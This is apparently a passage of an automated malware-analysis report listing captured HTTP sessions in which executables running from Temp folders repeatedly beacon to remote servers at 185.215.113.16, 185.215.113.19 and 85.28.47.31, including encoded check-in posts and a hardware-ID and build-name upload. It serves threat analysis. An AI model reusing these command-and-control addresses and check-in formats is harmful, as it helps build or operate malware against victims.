Jul 27, 2024 12:02:33.350476027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 12:02:33.353106976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49789	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:33.354216099 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:34.121212006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:34.133373022 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:34.387435913 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49791	34.107.221.82	80	3712	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:33.354240894 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 27, 2024 12:02:33.816366911 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Fri, 26 Jul 2024 14:19:52 GMT Age: 70961 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49792	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:33.473619938 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:34.252609968 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:34.253464937 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:34.506443977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49796	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:34.622250080 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:35.378628016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:35.382781029 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:35.589205980 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:35.649517059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:36.106957912 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 12:02:36.110757113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49797	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:34.707022905 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:35.648977041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:35.650023937 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:36.109575033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49799	85.28.47.31	80	5168	C:\Users\user\AppData\Local\Temp\1000016001\9fa327eb6c.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:35.649991989 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 12:02:36.281060934 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:02:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 12:02:36.284595013 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIIIIJDHJEGIECBGHIJE Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 32 35 45 38 39 44 38 30 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 49 49 4a 44 48 4a 45 47 49 45 43 42 47 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="hwid"B125E89D806E2371543510------GIIIIJDHJEGIECBGHIJEContent-Disposition: form-data; name="build"sila------GIIIIJDHJEGIECBGHIJE--
Jul 27, 2024 12:02:36.795241117 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:02:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Jul 27, 2024 12:02:36.797808886 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 10:02:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49800	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:36.220447063 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:36.965359926 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:36.983596087 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:37.240166903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49801	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:36.221010923 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:36.965902090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:36.984364033 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:37.239731073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49803	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:37.371315002 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:38.127950907 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:38.128727913 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:38.380609989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49804	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:37.373275995 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:38.129076004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:38.129596949 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 12:02:38.380757093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49807	185.215.113.16	80	7660	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:38.501771927 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:39.288429022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 12:02:39.318264961 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 12:02:39.782119036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 12:02:39.788441896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49806	185.215.113.19	80	7652	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 12:02:38.501841068 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 12:02:39.279941082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 10:02:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
